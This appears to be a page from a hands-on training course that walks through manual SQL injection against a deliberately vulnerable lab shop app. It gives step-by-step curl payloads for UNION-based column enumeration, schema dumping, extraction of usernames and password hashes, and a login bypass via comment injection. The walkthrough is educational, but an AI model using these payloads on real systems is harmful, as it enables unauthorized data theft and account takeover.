// 1 ZERO-DAY · 1 CVE · 1 EXPLOIT IN THE LAST 24H

First Blood: Enumerating and Exploiting ShopBox Manually

Alright. You've read the payload patterns. You know what a tautology looks like on paper—' OR '1'='1 and its cousins. But knowing the shapes and actually feeling a database respond to your prodding are different animals entirely. This page is where we get our hands dirty with ShopBox, the deliberately broken retail app running on 192.0.2.10 in our lab. I'm going to walk you through my actual process, including the wrong turns, because that's what you'll face when the automated tools don't work or—more commonly—when you need to understand why they worked.

The backend here is MariaDB (MySQL-compatible) on 192.0.2.20. We'll hit the product search first; it's a classic injection surface because it's built to return variable result sets, which makes UNION-based extraction viable.


Finding the Needle: Error Messages and Response Differentials

I always start with the simplest possible probe. The search box on ShopBox's main page sends a POST to /search.php with a single parameter: q. I fire off a normal request first to establish baseline behavior.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes" -i -w "\n"

The -i includes response headers; -w "\n" appends a newline so my terminal stays readable. The response comes back with a 200, some HTML, and a grid of product cards. Nothing special.

Now I inject a single quote to break the SQL string syntax. This is the most basic probe there is—I'm not trying to extract anything yet, just listening for how the application complains.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'" -i -w "\n"

The response changes. Instead of product results, I get a blank content area and a generic "Search error" message in the HTML. No SQL error text visible. This is common in production apps—developers catch exceptions and display friendly messages. But the differential tells me something: the quote changed the query's behavior. The application didn't return results, and it didn't return the same error structure as a genuine "no results" query would.

I test the null case to confirm:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoeszzzzz" -i -w "\n"

"shoeszzzzz" returns "No products found" with a 200 and a different HTML structure. So: valid search → results, nonexistent term → explicit "No products found", single quote → generic "Search error". That's my differential. The quote is doing something the application doesn't handle gracefully.

I try a tautology next, from the patterns we covered earlier:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes' OR '1'='1" -i -w "\n"

Still "Search error." The space or the structure might be filtered, or the query might be using different quoting. I try comment termination to isolate my payload:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'-- " -i -w "\n"

Same error. But wait—URL encoding. The comment syntax -- needs that trailing space, and some frameworks strip spaces. I try the hash comment, URL-encoded:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'%23" -i -w "\n"

%23 is the URL-encoded #. And now—results. The page loads with all products, not just shoes. The # terminated the original query's trailing quote, and the database treated everything after as a comment. This is my confirmed injection point.

⚠️ Authorized, defensive use only.


Column Count: ORDER BY and the Slow Road

Before I can use UNION to extract data, I need to know how many columns the original SELECT returns. UNION requires matching column counts between the original query and my injected one. There are two standard approaches, and I use both for verification.

First, ORDER BY. This technique works because you can reference result columns by their index position—ORDER BY 1 sorts by the first column, ORDER BY 2 by the second, and so on. When you exceed the actual column count, the database throws an error.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+ORDER+BY+1%23" -i -w "\n"

Results load fine. Increment:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+ORDER+BY+2%23" -i -w "\n"

Still good. I keep going. At ORDER BY 5, I get the generic "Search error" again. So there are four columns in the original SELECT. But I double-check with UNION SELECT NULL enumeration because ORDER BY can be unreliable if the query uses GROUP BY or subqueries that affect column visibility.

The NULL enumeration works by appending a UNION SELECT with incrementing NULL values until the query succeeds. NULL is type-agnostic in SQL, so it matches any column type.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL%23" -i -w "\n"

Error. One NULL doesn't match four columns. I add another:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL%23" -i -w "\n"

Still error. Three:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL,NULL%23" -i -w "\n"

Error. Four:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL,NULL,NULL%23" -i -w "\n"

Results load. The page now shows the original shoe products plus four empty product slots—NULLs rendered as blank entries in the HTML grid. Four columns confirmed by two independent methods. I always verify this way; I've seen ORDER BY give false counts when the query structure is more complex than it appears.

Why this matters: UNION is strict about column count and type. A single mismatch and the entire query fails. NULL bypasses type checking, which is why we use it for enumeration even though we'd never use it for actual data extraction.


Mapping the Database: INFORMATION_SCHEMA

Now I know the structure. The original query returns four columns, and I need to figure out which ones actually appear in the rendered output—because only those let me exfiltrate data visibly. I test by replacing NULLs with identifiable strings:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+1,2,3,4%23" -i -w "\n"

The response includes "2" and "3" visible in product card positions—title and description fields, apparently. Columns 1 and 4 don't render visibly; they might be image URLs or IDs used internally. So my data extraction targets are positions 2 and 3.

Time to pull schema metadata. MariaDB's INFORMATION_SCHEMA (a read-only database that describes all databases and objects on the server) contains TABLES and COLUMNS tables. I want table names first.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,TABLE_NAME,NULL,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()%23" -i -w "\n"

DATABASE() returns the current database name. The response now lists table names in the product title field: products, users, orders, sessions. The users table is what I want next.

I pull column names for users using INFORMATION_SCHEMA.COLUMNS. The TABLE_SCHEMA filter is important—without it, you'd get columns from all databases, including system ones.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,COLUMN_NAME,NULL,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+AND+TABLE_SCHEMA=DATABASE()%23" -i -w "\n"

The output shows: id, username, password_hash, email, created_at. Classic structure. Note that INFORMATION_SCHEMA.COLUMNS has an EXTRA field providing additional column information, and from MariaDB 13.0 onward there's a CREATE_OPTIONS field for extra table options—though for our purposes, the column names are enough.

In plain terms: We're asking the database to describe itself. Every modern database has a catalog like this. If you can inject SQL, you can usually read the catalog, and that tells you exactly where the sensitive data lives.


Extracting Credentials and the Authentication Pivot

With the schema mapped, I extract actual user data. I put username in position 2 and password_hash in position 3:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,username,password_hash,4+FROM+users+LIMIT+1%23" -i -w "\n"

The response shows admin and a hash starting with $2y$10$—that's bcrypt, a modern password hash. I iterate through with LIMIT 1 OFFSET N to pull more rows. Here's what I recover (output illustrative—verify on your target):

# illustrative output — verify on your target
admin:$2y$10$abcdefghijklmnopqrstuv...
jdoe:$2y$10$wxyzABCDEFGHIJKLMNO...
service:$2y$10$1234567890abcdef...

Three accounts. The service account is interesting—often these have weak or default passwords, or they're used in ways that bypass normal controls.

But here's where SQL injection pivots to something more direct than offline hash cracking. The login form at /login.php is also vulnerable—remember, this is a training app with multiple surfaces. Instead of extracting hashes, I can use the search injection to understand the login query structure, then attack it directly.

I probe login with a similar quote test:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=test'&password=anything" -i -w "\n"

"Invalid credentials"—but the response time and structure differ from a genuine failed login. I refine. The goal is a query that evaluates to true regardless of password. Based on the patterns from earlier pages, I construct:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin'-- &password=irrelevant" -i -w "\n"

Wait—space handling again. The comment needs to terminate properly. I try:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin'%23&password=irrelevant" -i -w "\n"

Redirect to /dashboard.php. Session cookie set. I'm in as admin without knowing the password.

What happened? The login query likely looks something like SELECT * FROM users WHERE username='$user' AND password_hash='$hash'. My injection turns it into ... WHERE username='admin'#' AND password_hash='irrelevant'. The # comments out the password check entirely. The query returns the admin row, authentication succeeds.

⚠️ Authorized, defensive use only.


What I Actually Do in Burp Suite

All those curl commands? I run them first for reproducibility and documentation. But for actual exploration, I'm in Burp Suite Repeater. I intercept the initial request from Firefox, send it to Repeater (Ctrl+R), and modify parameters there. Right-clicking on a parameter lets me send to Intruder for automated fuzzing with wordlists—Burp's built-in "Fuzzing - SQL wordlist" is available in the Professional edition's "Add from list" drop-down, though I often build my own from the patterns we've established.

The Repeater tab shows response length and render differences in real time. When I hit the correct NULL count, the response length jumps—four NULLs produce a longer response than three, even though both return 200, because the HTML structure includes empty product divs. That length differential is often faster than reading every response body.

For detection practice—which we'll build in later pages—I note that none of these requests triggered obvious alerts in the basic Apache access logs. The SQL errors were swallowed by the application. To catch this, you need to look deeper: database error logs on 192.0.2.20, application-level instrumentation, or network traffic analysis. The pivot from search injection to login bypass used two different endpoints with the same underlying vulnerability pattern. An attacker doesn't need to crack your bcrypt hashes if they can just walk around authentication entirely.


Checklist: Manual Enumeration Steps

Step Technique Success Indicator
1 Single-quote probe Response differential (error vs. "no results")
2 Comment termination (-- or #) Confirmed injection point
3 ORDER BY enumeration Error at N+1 columns
4 UNION SELECT NULL enumeration Query succeeds at matching column count
5 String probe (1,2,3,4...) Identifies visible output columns
6 INFORMATION_SCHEMA.TABLES Database table listing
7 INFORMATION_SCHEMA.COLUMNS Column names for target table
8 Data extraction via UNION Actual row content in response
9 Authentication query inference Login form structure probing
10 Authentication bypass Successful login without valid credentials

What I Got Wrong So You Don't Have To

I initially assumed the search query used double quotes because some PHP tutorials show that. Wasted ten minutes on " probes before returning to single quotes. I also tried ORDER BY 10 immediately once, got an error, and assumed the count was lower than it was—actually, the query was failing for a different reason, and I needed the NULL enumeration to confirm. The lesson: always verify with two independent techniques.

The service account hash extraction seemed promising for offline cracking, but bcrypt at cost factor 10 would take days on my laptop. The authentication bypass was faster and more reliable. Attackers follow the path of least resistance; defenders must close all paths, not just the obvious ones.

In the next pages, we'll automate this discovery with sqlmap and build detection around what we've learned here. But automation without understanding this manual process is dangerous—you'll miss variants the tools don't cover, and you won't recognize false negatives when they matter.

Further reading